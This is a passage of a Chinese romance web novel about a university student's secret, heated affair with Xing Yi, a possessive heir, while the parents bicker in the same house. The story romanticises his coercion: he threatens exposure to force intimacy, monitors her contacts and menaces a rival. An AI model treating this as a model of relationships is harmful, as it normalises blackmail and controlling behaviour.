邢美莱打开看一眼,都不用仔细瞧,表情一下就垮了。 把盒子放回桌上,人坐在对面,一脸的恨铁不成钢:“孟明德,你让我说你什么好,花两万八买个水货?我这么跟你说吧,就算卖你一千八他都有得挣。” 老孟如遭闷头一棒,快速拿出宝石左看右看,进一步坚定自我:“什么假货啊,这就是真的,皇家蓝呢。” 邢美莱是这方面的行家,一眼定真假:“真你个头啊真,颜色都发闷了,还皇家蓝呢,再说我可要笑你了。” 孟明德不到黄河不死心,直到邢美莱拿出真的皇家蓝进行实物对比,他才像霜打的茄一样,慢慢蔫了。 “你”老孟冷不丁丢了面子,还亏了钱,正憋闷,揣起胳膊一脸幽怨,“你怎么老找我茬呢?” 邢美莱觉得自己成吕洞宾了:“会不会说话?是我找你茬吗?不是因为你三天两头吃亏所以我才操心吗,这么多年了,你能完美坚持下来的品质只有你这草龟性子,吃草都找不到哪坨是新鲜的,别人不骗你骗谁?” 老孟不苟言笑:“得了吧,我看你就是想找个机会数落我。” “我数落你干嘛?我闲得慌。” 邢美莱走到厨房岛台倒水喝,懒得理他。 另一边,不知是气自己傻乎乎被骗,还是气邢美莱不给他留面子,孟明德撇过头怄气:“知道了,不就是看我不爽吗?真是善变,想当年你留个黑长直,跟我说话那么温柔,现在凶得要命。” 邢美莱险些被呛,缓了半天,快速眨眼说:“王八才提以前!谁让你说这个了?” “干嘛,不敢承认了?当年是谁给我写情书,夸我‘温润如玉举世无双’?” 邢美莱脸色一红:“滚滚滚,少恶心我,谁知道你当年有没有整容?” 老孟登时不服气:“我要是整容,我女儿能有这么漂亮吗?!” “打住打住,小语漂亮那是遗传她妈妈,全是以婵的功劳,你少给自己揽功。” 邢美莱气急败坏灌完一杯水。 她从十几岁开始就护着徐以婵,后者被蚊子叮一下,她都会放下手头急事先去找花露水,生怕徐以婵痒了疼了。 虽然很不巧,她们年少时喜欢上了同一个男生。 但对邢美莱来说,友情更值得她珍视,于是她快速理清感情,坚决不越界。 况且孟明德的专一无人能敌,他喜欢的人一直是徐以婵,爱就是爱,友谊就是友谊,他拎得很清。 跟徐以婵结婚后,他从来没主动联系过她,唯一一次还是群发给她推销茶叶,邢美莱都无语了,回他一个“滚”。 两人就这么成了多年损友,一言不合就吵架,唯一的默契是,都很爱徐以婵。 邢美莱爱屋及乌,对孟纾语格外疼惜,几百万的钢琴算什么,小语要是想要星星,她也搭个天梯给她摘。 孟明德坐在原地气成河豚,邢美莱白他一眼,没好气地翻旧账:“真是后悔让以婵嫁给你。” “嫁给我怎么了?” “好意思问,你那会儿有多穷你自己不知道?婚纱都租不起,还是我给以婵买的婚纱!” “得,你就想找个理由跟我吵架是吧?年轻时候穷点怎么了!我现在有钱了,我开凯迪拉克!” “凯迪拉克才多少钱?我一口气能买十辆!” “那你买!” “你想得美!” 楼上,孟纾语站在书房半掩的门后,鬼鬼祟祟听楼下两个中年人互扯头花。 终于明白为什么邢美莱这么喜欢她,一上来就把她当亲女儿养。 听得太入迷,不觉身后有人靠近。 邢屹悄无声息止步,双手插着裤兜,低身,呼吸靠近她耳畔:“这么认真吗,小孟间谍。” 她吓一跳,囫囵转身,他顺势把门一关,砰一声,就着这个姿势重重吻下来- 晚上吃饭,孟纾语闷头嚼米,其实是在重建心里的堡垒废墟。 她不服气,下次一定要炸回去,炸他个措手不及。 暖灯下,她脸颊仍有一层浅浅红晕,邢美莱给她夹菜,问她是不是发烧了,现在换季,很容易生病的。 她心虚,摇头说没有,只是有点热。 邢屹若无其事坐在她身边,腿碰了碰她,她浑身一激灵。 一张餐桌,两个战场,一个在暗一个在明,一个是意犹未尽搞暧昧,一个是针锋相对真开战。 对面,孟明德不知在争什么强好什么胜,邢美莱给她夹菜,他也给她夹菜,还非要夹最大块的。 一来二去,她碗里都快堆出小山了,哪里吃得下这么多。 老孟发话:“小语,下周就搬走,爸给你租公寓,请保姆,一样过得幸福舒坦。” 孟纾语眼睛都亮了,邢屹冷淡地瞥她一眼,划着手机收回视线。 一句“真的吗”还没问出口,邢美莱已经横刀立马:“不行!说不行就是不行,孟明德你少自作主张,让一个女孩子自己住公寓,你还真敢安排啊,就不怕入室抢劫?就不怕突发火灾?” 孟明德斜她一眼:“想入非非,匪夷所思。” 邢美莱呵笑一声撇过头,撩一下卷发:“不自量力,死要面子。” “” 近距离观战也是很考验心理状态的。 孟纾语很想插一句说,自己已经吃饱了。 几分钟后,局势稍有缓和,邢美莱陶醉道:“小语住在这里多幸福啊,你看,容光焕发,水灵灵的,我把她照顾得多好,不许搬。” 身边,邢屹的手已经按在她腿上,他耷着眉眼假意喝水,喉结每滚动一下,食指就在她腿上点一下。 孟纾语闭了闭眼,呼吸发紧。 想说,桌上那条松鼠鱼,要不我们身心互换一下吧。 几局下来,邢美莱火力全开,孟明德血条已空。 最后,孟纾语是再也无法妄想搬走了。 邢屹早就料到了,他嘴角扬起一个兴味盎然的弧度,给 她发消息。 xy:[今晚继续去书房。] “” 去你的 凌晨,门一关,他的气息像烈性弹。药,炸毁她复建已久的微小堡垒,她再次被攻陷,被蛊惑,身体里有浪潮翻涌,焰火在海面炸开,滚烫星点簌簌而落,剧烈之后泛起波澜。 这次比上次温柔一些,邢屹教她用双手搂住他脖子,两人都站着,她被迫踮起脚,适应他的高度,他迁就地低着头,一手揽着她的腰,另一手在她后背摩挲,已然有些亢奋。 长辈依旧在斗嘴。 而她在跟邢屹接吻。 她乖顺了很多年,一朝被他带坏,学会了暗度陈仓,狼狈为奸,竟也从中尝到一丝刺激。 他唇舌的温度烫得她六神无主,她手指无意识掐他后背,也不管他会不会疼,只知她每掐一下,他的喘声就重一下,像被她撩拨到了,刺激到了。 他的身体越来越烫,拥抱成为裹挟而来的火炉,气息如同热焰在她唇上碾转,她脊骨愈加酥麻,已到承受范围的极限,可是他越吻越凶,不允许她抵抗,她呜咽一记,他掐住她的腰,抱着她一起后退。 跌跌撞撞碰到书架,他不管不顾地靠上,身后一浪接一浪的震动感,从他的后背传到她胸前,两人严丝合缝地相拥,他舌尖急转而下,陪她唇里的湿热追逐打闹,他强势而游刃有余,显然占据上风,她只能毫无章法地回应,手指绷紧,陷入他后脑勺微微扎手的短发里,深处是更撩人的滚烫。 “孟纾语小语” 他在接吻间隙里含含糊糊喊她的名字,像喝醉了酒,尾音拖着颤动的微醺感,全程用气音说话,有几次她听不太清,没有回应,他就惩罚一般把她抱起来,翻个身把她压在书架上,继续吻她,吻到尽兴,吻到她用哭腔求饶,他也不放过她。 孟纾语力气尽失,几乎挂在他身上,整个人像熟透的樱桃,软绵绵的,一捏就湿润满手:“邢屹,我没锁门” 他微阖着眼,深深看着她,目光迷离又饶有兴味,分开一点距离哑声问:“故意的?” 她攥紧他肩膀,刚要说话,他又吻下来,挑衅着、勾缠着,她只能含糊不清地抱怨:“不是故意的,我是真的忘了” 他胸腔震出笑,轻咬她嘴唇:“是吗,还以为你就喜欢这样,跟我狼狈为奸的感觉,刺激吗?” 这一秒,她身体里的海浪在猛烈拍打她,心脏配合出节奏,乱得不行。 这个吻简直无休无止,她觉得自己早已掉进狼窝,再也逃不出去了,红着眼眶控诉:“你故意的,每一步都是计划好的,你就是在等我上套” “我有吗?”邢屹懒洋洋打量她,忽然分开这个吻,一手扣住她下颌,修长食指闯进她口腔里搅动,听她猫一样的呜咽声,他眼神兴奋至极,“小语,话可不能乱说,你就是这么给我扣帽子的?” 她急促呼吸,仰头汲取氧气,一点点涎水顺着他手指流下,晶莹剔透,邢屹愈发来兴,恶劣十足地逗她:“还没到喉咙,怎么就受不了?” 她根本说不出话,也羞恼地不想搭理他,更不想抱他了,于是空出一只手,迷迷糊糊扒住书架的横栏。 他看她浑身无力,就快掉下去了,他笑了下,转头将她抱到书桌上,让她坐着,双腿缠住他的腰,他就此吻她。 眼前是他整齐的衣衫,只有衣领处有一丝凌乱,被她扯出来的。 也是出息了,两万一件的衣服她都舍得这么扯了。 管他的,就要扯,是他恶劣在先,她一报还一报,扯坏才好,坏了也不赔。 邢屹一边吻她,一边将她披散在肩的长发向后捋,用他手腕上原本属于她的发圈,为她扎了一个松松的低马尾- 几天后,老孟择日返回宁城,中午订机票时看见她在院子里浇花,上前问一句:“诶,你这嘴唇怎么有点肿呢?是不是上火了?” 孟纾语慌不择言:“对,上火了,我跟同学聚餐的时候吃了很多炸蚕蛹。” 其实她根本就不吃,最怕虫子,熟的比活的还可怕。 但老孟深信不疑,夸她勇敢,连虫子都敢吃了,但要少吃点,上火的。 她生无可恋地点点头。 老孟回屋选机票,邢屹正好走出来,跟他错身,微笑着喊了声孟叔好。 老孟可喜欢他,乐呵呵回应,问他干嘛去,他说帮小语浇花。 老孟欣慰地想,看来女儿跟他已经建立友谊了,有这样一个优秀的朋友一起学习,那是很好的。 片刻,她手里的浇花器被邢屹拿走。 她有点懵,抬头,他突然吻她一下,她差点吓昏,一回头,老孟不在。 幸好 邢屹这个罪魁祸首,敷衍了事地浇着花,还有闲心问她:“这么害怕?” “你还我,我要拿水滋你。” “哦,想跟我在阳光下打情骂俏。” “?” 他低身凑过来,漆黑眼眸盛着一片细碎阳光,跟气鼓鼓的她对视,似笑非笑的,半晌说了句:“想得美。” “” 好欠扁- 晚上,许莓在宿舍群里艾特全员。 [呜呜呜,今晚baiser举办周年庆,有整整六个小时的舞台表演,你们谁有空陪我去看卢一鑫打碟?] 路露:[大妹子,你恋爱脑啊?他话都不跟你讲一句,你倒追他图啥?] 陈雅甜:[不去。你可以自己去,勇敢一点。你若盛开,清风自来。] 许莓没辙,抓住最后一根稻草:[小语呢?小语在吗?] 孟纾语刚洗完澡,才看消息。 正好,她今晚要逃离某人的魔爪,及时转移阵地是个不二之选。 于是欣然回复:[我陪你去。] 许莓今晚化了个无比精致的妆,万事俱备,又提前在小程序约了酒吧卡座的号,孟纾语刚到就排到她们了。 两人挽着手进去,酒吧里格外热闹,音浪震耳欲聋。 路过散台,听见有人兴致勃勃聊天。 “知道吗?今晚有抽奖诶,隐藏款奖品是以老板朋友为原型定制的棉花娃娃,全场只有一只。” “邢屹啊?” “你认识他?” “认识啊,京大灌水群里哪天没聊他。你想抽中他的娃娃?喜欢他啊?” “唔,这是一回事,另一回事是,我如果拥有这个娃娃,那等他日后出道了或是上经典杂志封面了,我就可以把娃娃卖了,怒赚一笔。” “”孟纾语心想,这人还挺有商业头脑。 休息室里,邢屹坐在沙发椅上,一手拿着自己的棉花玩偶,眉头皱起:“秦双,你是不是有病。” 秦双在整理抽奖盒里的礼券,哈哈一笑:“好看吗?很可爱吧,你的Q版形象,今晚好多女孩子都是为了它来的,我是不是很有营销策略?” “神经。” 卡座区里,孟纾语陪着许莓坐在最佳观赏位,看台上的卢一鑫穿着工字背心戴着耳麦,冷酷又激情地打碟。 半晌,有帅气酒保抱着抽奖盒路过,笑问:“您好!有兴趣抽个奖吗,有机会抽中隐藏款奖品哦。” 周围一圈的客人已经眼巴巴望着抽奖盒了,孟纾语迟疑几秒,摆手:“不用了,谢——” “用用用!”许莓帮她把盒子接过来,“总不能光让你过来看打碟吧,多无聊呀,抽一次吧,我的机会也留给你抽。” “” 盛情难却,孟纾语默默把手伸进抽奖盒的小口里,随意摸了几下,拿上来一张礼券。 划开,是幸运奖,一份小吃。 幸好,不是Q版小屹。 “还有一次呢,再抽。” 许莓提醒她,于是她又伸进去捞了一次。 再划开。 [恭喜您:抽中隐藏款奖品!] 孟纾语在炫彩的灯光下看着这行字,以为自己看错了。 定睛再看一眼。 没错。 她整个人一动不动坐在位子上,慢慢石化。 许莓哇一声夸她运气好,酒保也为她庆贺:“太好了!我现在去通知老板,把娃娃拿给您,请稍等。” “” 半晌,那只玩偶送到她手里。 毛茸茸的布料,圆圆的脑袋,小小的身子,简约帅气的黑色连帽衫,Q版澄黑大眼,软乎乎的小手。 是很可爱。 但她拿久了,竟然有种想要揍它几下的冲动。 这只玩偶在她怀里待了一晚上。 凌晨准备回家,孟纾语先把许莓送回学校,转头,学生公寓区门口停了一辆来接她的车。 林泽保持他的标志性微笑下了车,看见她手里拎着的小玩意儿,好奇地问:“这是什么?” 孟纾语举起来给他看:“林助,你觉得它像谁?” 林泽眨眨眼:“像邢屹。” “没错,就是他。” 孟纾语跟Q版邢屹对视几秒,突然,对着它的脸蛋,梆梆给它来了两拳。 殴打它,很解气。 林泽不露声色看着她行使暴力,笑笑说:“孟小姐,要不先上车。” “好。” 她浑然不觉地打开后座车门,开门一瞬间,她愣住了。 后座有人。 邢屹好整以暇坐在车里,斜眼,冷飕飕看着她,伸手:“拿过来。” “” 下一秒,人和玩偶一起上车,玩偶落到他手里。 邢屹拿它对着她的脸,冷声:“向它道歉。” 她别开脸,鼓起勇气:“不。” 邢屹气势汹汹掐住她后颈:“道、歉。” 她不屈不挠:“你不讲理。” 邢屹:“你暴力。” “?”她转头盯住他,“你给我扣帽子!” “你敢做不敢当。” “你强词夺理!” “你持靓行凶。” 嗯?刚有什么土味情话闪过去了。 孟纾语顿了顿,忽然撇过头,不说话了,手指相互拧来拧去,眼底有水波荡漾。 半晌,邢屹忽然掰过她的脸,吻她一记。 心跳像快速弹落的皮球,砰砰。 车子刚好停在别墅前,邢屹加重这个吻,她目光越过他,后知后觉,看见门前踱步划手机的老孟。 瞳孔一震。 刚要推开邢屹,他突然变本加厉地摁住她,目光将她牢牢锁住。 “不想让孟叔知道的话,今晚就来我房间,主动亲我。” “骑在我身上亲。” 第16章 回吻“猜你想试试新花样。”[小修]…… 一则明晃晃的丧权辱国条约,签下就完蛋了。 但事已至此,近水先救眼前火。 孟纾语硬着头皮:“好,晚点再说” 邢屹阴谋得逞,松手放了她,两人一前一后下车,她快速整理好衣领,假装刚刚看见老孟。 “爸,你在干嘛?” 老孟焦虑回身:“怎么这么晚才回来呀。” 旋即看见后座下来的邢屹,老孟又面露欣慰:“哎,担心死我了,还好有人去接你。谢谢你啊小屹,这段时间多亏了你,不然我真不放心。” “孟叔,您客气了,都是我应该做的。” 邢屹关上车门,一身简单的白衫黑裤,在她眼里是人模狗样,在旁人眼里却是正儿八经的贵公子,有点懒散但一身正气。 老孟注意到他手里拎着的小玩偶,问那是什么东西,邢屹瞥了孟纾语一眼,暗含兴味地说:“给小语的,她说特别喜欢,一定会好好爱护他,帮他洗澡换衣服,每晚都抱着他睡觉。” “” 好,等着,回去第一件事就把玩偶的衣服拆了,再把他丢进垃圾桶,让他衣不蔽体,无家可归。 老孟没看出来那只玩偶有什么猫腻,还以为是邢屹送她的生日礼物,怪可爱的。 一想到生日礼物,老孟就愧疚万分,等女儿进门,他以驱寒为由给她煮了碗姜枣茶,坐在餐桌对面跟她谈心。 “小语,对不起,爸被人骗了,其实那颗蓝宝石它根本不值两万八,估计也就,一千多吧。” 孟纾语嚼着红枣,波澜不惊看着父亲。 她两三岁的时候,老孟的钱包没有现在鼓,别人家孩子可以喝什么进口高级奶粉,她只能喝接地气的国产奶粉。 有人说,爱是常觉亏欠,老孟从她出生那一刻起,就自认欠了她很多,于是挣钱之后总想从各方面弥补她。 孟纾语温柔地笑:“爸,不要自责,你已经把我养得非常好了,我小时候连三鹿奶粉都没喝过,多安全啊。” “” 孟纾语知道,这几天老孟和莱姨斗嘴,他表面毫不在意,其实耿耿于怀,年少时敏感的自尊心悄然返场,总觉得自家不及别人家有权有势,不能给孩子铺一条完美的人生道路。 邢家背景复杂,家底深厚,毫无疑问处在金字塔顶端。 信昀集团每一步都踩中了风口,早早就敲钟上市,零几年搞实业,拓展酒店业务,一几年就开始投资软件物流和影视娱乐,后来一步步深入科创板块,就连旗下最小的子公司都挤进了五百强。 假如上社交平台搜索,问旅行体验度最佳的五星酒店、国际大火电影的幕后资方名单里谁处在第一梯队……诸多话题都绕不开信昀。 邢屹作为家族第三代直系亲属,含着金汤匙出生,却很少谈及家世,或许他早就习惯了金字塔尖的环境,对他来说一切习以为常,甚至没什么继承家业的欲望。 也不知道他具体渴望什么,只记得有一次,他说钱不算什么。 欠揍,想拿流星锤把他抡飞。 孟纾语跟父亲谈了会儿人生哲理,老孟失落的情绪被女儿的乐观和耐心层层修复,终于安心上楼。 她慢吞吞喝完姜枣茶,顺手把碗洗了。 水阀刚关,手机突然震动。 xy:[你是不是忘了什么?] 她浑身僵住。 完蛋。 装没看见吧。 她快速把手机放回口袋,扯纸巾擦了擦手,转身。 邢屹就阴森森站在她面前。 她吓得踉跄,这人怎么神出鬼没的?! “你干嘛啊”她惊魂未定地靠着岛台边缘,恨不得变成一滴水滑入洗碗池。 邢屹一只腿抵进她蠢蠢欲动的腿间,阻止她逃走,两条结实手臂撑在她身侧,将她圈锁住,低垂的视线像刀子一样悬在她面前,她别过脸不看,他就掐着她下巴强硬掰正:“看到消息故意不回,耍我是吧。” “没有你没看见我在洗碗吗,太湿又不好打字。” 他目光往下一掠。 “哪里湿?” 她心头一震:“当然是手湿!” “这样啊。现在还湿不湿?”他懒声懒调地犯浑,一手攥住她手腕,缓缓向下抚摸,强行十指相扣,共享她掌心湿润微凉的触感。 她喉咙干涩,一连吞咽好几下,邢屹打量她慌张的表情,忽然来了兴致,低头沉重一吻。 躲闪不及,唇舌温度早已被他掠夺,细密急躁的接吻声此起彼伏,她成了炭火上翻滚的鹅卵石,被他越烧越烫,表面却滑腻腻的,被他爱不释手地抚摸。 今晚走运,两人跌跌撞撞吻到房间,没有碰到长辈。 门一关,邢屹把她抱到自己床上,脱下她薄薄的针织小开衫,留下短裙和一件柔软吊带,一手顺着她肩膀抚摸到腰侧,恶狠狠掐了一记,突然翻个身让她骑在上,分开这个吻,掐住她后颈命令:“亲我,主动一点。” 孟纾语被他吻得轻飘飘的,房间又暗得过分,她什么都看不清,意识被生理反应牵着走, 迷迷糊糊寻到他嘴唇,在心跳最疯狂的时刻,她轻轻含住。 邢屹微阖着眼,眸里情绪说不清道不明,一直注视她,直到她学会主动勾他的舌尖,他浑身肌肉突然紧绷,手臂死死锢住她的腰,往前挺了挺身,追逐她学艺不精的吻,喉结上下涌动,气息在她口腔里逞凶。 她被他抱得喘不过气来,心猿意马地接着吻,下意识拧了拧身子,大脑突然白光一闪。 磨到了。 邢屹沉喘一声,在她想要逃开时把她原地一摁。 “慌什么,总要见面的。” 她整个人热得快被蒸发,再不逃就完了,她缠在他腰上的双腿微微一颤,焦急又害怕,攥着他肩膀求饶:“太晚了,我妆还没卸,对皮肤不好” 邢屹冷森森掠她一眼,半信半疑,用手指背蹭蹭她脸颊。 一层轻薄的妆。 孟纾语孤注一掷,拿起针织外套逃回自己卧室,邢屹却以帮她卸妆为由跟了进来。 房门一锁,他又不做人,在她进浴室时捉住她,把她抱上洗手台,他嵌在她身前,扫一眼墙上五花八门的护肤品,皱起眉:“哪个是卸妆的?” 孟纾语心有余悸,颤颤说:“第二排,红色和蓝色的都是。” 邢屹伸手去拿,认真研究了文字说明,从瓶瓶罐罐里选中卸妆巾,抽出一张,一手甩了甩让湿巾抻开,另手绕到她背后,把她散开的长发捋顺成一拨,虚虚地圈入他掌心。 她失神片刻,卸妆巾已经贴到她脸上。 邢屹力道很轻,从她的额头开始擦拭,再到眼角,鼻尖。 距离拉近,他凌厉的眉眼染上一丝不可多得的专注,她注视他浅浅的眼尾痣,手指逐渐紧绷,攥住洗手台边缘。 有时很难否认,除了生理上的躁动之外,在另一个更深的层面,她的确心动了。 可是只有一瞬间。 静下心一想,他本质危险,只有等他对她的兴趣淡了,一切才会彻底安好。 最后,在卸妆液体还没冲洗干净时,他轻吻她白净的脸颊。 她慌忙一推,却看见他漫不经心舔了舔唇。 大脑一下就宕机了,她语无伦次:“你、你干嘛啊,吃到化学制品是会中毒的。” 他低笑一声:“关心我?” “谁关心你,你快点回去。” 不巧,门外有人经过,紧接着,模糊的斗嘴声在走廊响了起来。 真是不是冤家不聚头,老孟和邢美莱随时随地都能开战。 不知道他们还要吵多久,邢屹借题发挥:“你要我现在出去?好啊。” 他作势要走,她慌忙扯住他手臂:“等一下!” 她冷汗都要出来了,他大半夜待在她房间,她胸前甚至还出现了吻痕。 这要是被发现,跳进黄河都洗不清。 孟纾语把他撵到落地窗前罚站,自己逃进浴室快速洗了个澡,出来时,走廊外的声音还没散去。 但她已经很困了,一看时间,凌晨三点,再不睡就要离开地球了。 “我要睡了,你困的话就睡窗台,不要到我床上。” 她心如死灰,躺床上滚了两下卷进被子里。 邢屹坐在附近沙发椅上划手机,冷不丁瞥她一眼,被子已经鼓起一个小包,全方位包裹,连后脑勺都看不见。 警惕心强,但又不怎么强。 孟纾语迷迷糊糊合上眼,对他的恐惧已经被困倦占据,浑然不觉身后那道眼神有多么漆黑灼热 一夜无梦。 上午没课,孟纾语睡到自然醒。 刚想翻身,突然碰到什么坚硬的东西,好像是人类的肋骨? 她醒了醒神,三秒后,突然触电一般坐起来,整个人缩在床头惊恐万分:“你给我下去!” 邢屹有点起床气,但这会儿没对她发作,他懒洋洋趴在枕上,侧颜被阳光笼罩,漆黑短发乱糟糟翘起一缕,或许是刚睡醒,身上的凌厉感淡了许多,拖着晨起时沙哑倦懒的调子:“闹什么,我昨晚差点儿被你睡了。” “?”她记忆全无,四下看了看,抄起床头的Q版邢屹砸他,“不许胡说八道,明明是你对我图谋不轨!” 他阴沉沉睁开眼,盯着她:“孟纾语,你用什么砸我?” “用你自己。” 邢屹又面不改色闭上了眼:“向我道歉。” “?”她要恼羞成怒了,“你该向我道歉!不是让你早点回自己房间,不行就直接睡窗台吗,干嘛到我床上?” 他还是那副懒到气死人的调子:“窗台很硬。” 这算什么理由。 “你不是适应力很强吗?硬一点又怕什么。” 邢屹坦然逼问:“那你适应力强不强?” “强啊。” “那你过来,碰碰它。” 她反应几秒,脸色蹭地一红,抄起枕头用力砸他:“你有病啊!”- 跟混蛋周旋,时间就过得像懒驴拉磨。 中途,孟纾语找了一次毛婧婧,跟她讲述近日的惊悚经历。 毛婧婧异常淡定:“没事,我理解你,就像我下决心减肥,面前突然摆了盘炸鸡,我本来不想吃,最后还是吃了。人生在世,谁没被炸鸡诱惑过?人之常情。” “”孟纾语靠坐在沙发上,无精打采看着天花板,“我承认,他很会接吻,但有时候,他看我的眼神特别奇怪,我经常会被他吓到。” 而且她想不通,为什么他对她如此执着,几乎到了疯狂的地步。 如果哪天,两人的关系突然终结,他怕不是真的会疯掉。 毛婧婧认真说:“先拖着吧,既然都这样了,也不能一时半会儿撇清关系。如果他是疯子,记得收集证据,我第一时间帮你报警。” “好。” 下午,孟纾语打算找份课外兼职,挣钱之余,正好能减少被邢屹剥削的时间。 她在选修课上悄咪咪物色兼职岗位,摸鱼的时间总是短暂,一节课就这么溜过去了。 傍晚下课,她边看手机边跟路露走到教学楼候梯厅,另一边是许莓,路露正在教育她:“你再这么倒追下去,没救了,收拾收拾准备挖野菜吧。” 许莓呜呜半晌:“没办法啊,我就是喜欢他,他不理我我就更喜欢他。” “你有毛病吧。”路露恨铁不成钢。 三人并排站着,等待电梯开门。 孟纾语点进微信,看了眼被迫置顶的聊天框。 聊天还停留在上一次,他让她把微信的联系人列表截图给他看。 她没有照做,但又怕他犯病,只好义正言辞地说,根本没有男生加她微信,就算有,她也没有同意。 后来他就没声了。 很好,今天也没有动静。 她祈祷,最好他每天都很忙,没工夫搭理她。 尤其在学校,人多耳杂,她害怕暴露两人的关系。 邢屹已经够变态了,要是再被别人知道他们关系不纯,他要么更变态,要么趁机跟她绑定,说她是他女朋友。 身边,路露为了挽救许莓,苦口婆心道:“你就非他不可吗?我跟你说,咱们人文学院也有优质选项的,就新闻系那个,李时然,你在新生辩论赛见过吧?人家长得帅家世又好,爷爷是院士,父母是教授,性格又开朗,不比卢一鑫那个闷葫芦强?你回头是岸吧,别在一棵树上吊死。” 许莓坚决说不,两人一来一回,电梯门叮一声打开。 路露气结:“算了算了,不跟你说了,你个死脑筋。小语,电梯到了,快进来。” “哦,好。”孟纾语认真看兼职,慢半拍踏进电梯,双手一直在滑手机。 路露闲不住,四下看一眼,忽然怼怼她胳膊,蚊子低语:“身后有个含金量很高的人物。” “嗯?” 注意力从手机里拽出,她微微侧头,在视野清晰的前一秒,香味先一步侵袭而来。 她迅速收回视线。 老天,一次两次就够了,怎么又跟她开这种要命的玩笑! 她恨不得从金属盒底一遁而下。 呼吸下意识放慢,像掩耳盗铃,生怕闹出什么动静吸引他注意。 虽然他早就饶有兴味盯了她很久。 邢屹不动 声色站在她身后,忽然,手指顺着她的脊柱,隔着衣料,慢慢往上划动。 划到她后颈,顿了顿,又再次往下。 痒得她心惊肉跳。 电梯里至少站了七八个人,邢屹背靠金属墙,在她身后肆无忌惮。 有女同学想看他,但转头太过明显,只用余光瞟,孟纾语刻意往前走了一步,后背的酥麻感这才消失。 他手腕上依旧挂着她的发圈,最近已经有人借此谣传,说他有了女朋友。 他很撩欠,说那不是谣传。 终于熬到电梯门开,大家陆陆续续走出电梯,她紧随其后。 突然被他扯住衣角。 “站着。” “除非你想现在接吻。” 她头皮发麻,路露回身催促:“走啦,已经到一楼了。” 她脖子上有一把隐形大刀,磨得她眼睛都不能眨一下。 “那个我有东西落在教室了,你们先走吧。” “啊,那好吧,拜拜。” 完了。 在电梯门关上的前一瞬,忽然有人按了上升按钮。 她说不清是欣慰还是更慌。 金属门开,一个气质清爽的男生进来,看见她:“孟纾语?好巧,上次你来看过我的辩论赛吧?我还加了你微信来着,什么时候有空,一起聊聊辩题的事?” “”未免太巧。 孟纾语来不及回答李时然的问题,她咽了咽喉咙,六神无主地回了个头。 邢屹嚼碎嘴里的糖,抄着兜倚靠在金属墙上,微微歪头看着她,嘴角虽然牵着笑,眼神却冷得她惴惴不安。 李时然循着她的目光看去,笑起来:“邢屹?好巧,你答辩结束了?” 这俩还是认识的。 邢屹嘴上回应他,眼睛却看着孟纾语:“是啊,好巧,真是意想不到。” “” 她躲他,又骗了他,还被抓了现行。 这对一个潜在的疯子来说意味着什么? 她很想就此跑出电梯,藏进下课的人潮。 手机却收到消息。 xy:[猜你想试试新花样。] 第17章 回吻“故意吊我?” 识字以来,孟纾语很少用人面兽心去形容一个人。 直到邢屹出现。 这个衣冠禽兽,占有欲强得变态,就该找个笼子关住他。 趁电梯还没上行,孟纾语心惊胆战地溜出去,回过身,一视同仁地微笑:“拜拜,我先走了。” 李时然默认她跟自己道别,开朗回笑:“拜拜!你准备去食堂吃饭吗?” “不,我回家吃的。” “好,明天见,有空请你吃饭。” 孟纾语刚要随口应下,视线一晃,邢屹正用暗欲横生的眼神看她。 她心头一紧,头也不回地走了。 电梯门悠然关上,李时然神清气爽:“怎么样,那个女孩子很可爱吧?可惜我们不太熟,如果可以早点追她就好了。” 邢屹漫不经心转头,一言不发,就这么看着他。 李时然接过视线,笑容登时僵住。 为什么,为什么邢屹会用这种眼神看他? 要命了,被这么盯着,他莫名有种自己大限将至的感觉。 下一秒,邢屹眼里的冷戾收放自如,恢复一如既往的懒散调子,颇有闲情逸致:“有没有人说过,你脑子有点儿钝。” 李时然愣了几秒,很快又安心了。 刚才一定是错觉。 他摸摸后脑勺,怪不好意思的:“是诶,我朋友经常夸我顿感力强。” 邢屹撇过头,微带嘲意地笑了下。 的确很钝,钝得软硬适中。 尤其是脖子那一块,非常适合磨刀- 傍晚,孟纾语快速离开学校,直奔毛婧婧的公寓,在好友身边寻找阔别已久的踏实感。 毛婧婧窝在沙发,拿平板看电影,邀她一起看,说是引人入胜的惊悚片。 孟纾语坐到旁边,屏幕里男帅女靓,很养眼。 进度条已经过半,她需要剧情回顾:“前面讲了什么?” “讲男主很爱女主。” “啊?这种设定为什么是惊悚片?” 毛婧婧绘声绘色地说:“因为男主很爱女主,但女主一直不爱他,于是男主就把她的心脏取出来,移植到预先设定好程序的仿生人身上。那个仿生人长得跟女主一模一样,甚至有表情、会说话,她每天都会对男主说‘我爱你’,‘我离不开你’,男主每天都会吻她,甚至带她参加各种晚宴,跟所有人介绍这是他的妻子。到了深夜,男主就会抱着仿生人,贴到她胸口前,听心脏通电之后永不停歇的跳动声。” 孟纾语欲言又止:“那女主本人呢?” “她本人去世了,死后,没有心脏的身体就在男主实验室的福尔马林里泡着。当仿生人电量耗尽的时候,男主就会隔着巨大的玻璃瓶拥抱真正的女主,看她泡在液体里安静美好的容颜,对她说,‘Ella,你还记得我们的曾经吗?第一次见你,你明眸善睐——’” “好了好了!不要说了。”实在毛骨悚然,“我们别看这个了,看《爱宠大机密》吧。” 毛婧婧体贴照做。 屏幕里的灰调画面换成了童心洋溢的彩色,毛茸茸的兔子老大活蹦乱跳,孟纾语的心终于落地。 她用紧张沁汗的掌心,摸了摸自己完好无缺的心脏,很难不胡思乱想。 邢屹这个表里不一的变态混蛋,早就给她设了一个天衣无缝的局。 在她脆弱的时候温暖她,在她危险的时候保护她,在她感动的时候攻陷她,一步一步地诱惑,直到她心甘情愿掉入陷阱。 以身入局,就没有轻易逃脱的机会。 她妄想某天,能神不知鬼不觉地退出,邢屹那双眼睛却一直盯着她,坚决不允许。 再这么拉扯下去,万一哪天闹得鸡飞狗跳你死我活,邢屹也把她的心脏 够了够了,不能再想了。 浑身的血已经冷得能做一杯冰美式了- 晚饭时间,孟纾语提心吊胆回到家。 院子里暖灯洋溢,庭院的露天桌上摆着酒瓶和小食,老孟正跟邢屹对坐聊天。 “喝酒吗?”老孟正要往邢屹杯里斟白酒。 他得体婉拒:“抱歉孟叔,我不会喝酒。” 你再装。 孟纾语推开院门。 “没事,我给你倒一点,喝不喝都随意,就当陪叔叔解闷了。” 咕噜噜斟了小半杯。 “够了,谢谢孟叔。” 老孟转头:“诶?小语回来啦,今天怎么这么晚?” 孟纾语别了别单肩包的带子,回身关好院门:“我去找婧婧了。” “哦,她的发财树还好吗?” 孟纾语莫名幽怨,盯着邢屹的侧脸说:“死了。” 邢屹不喜不怒地动了下嘴角,默不作声抿了口酒。 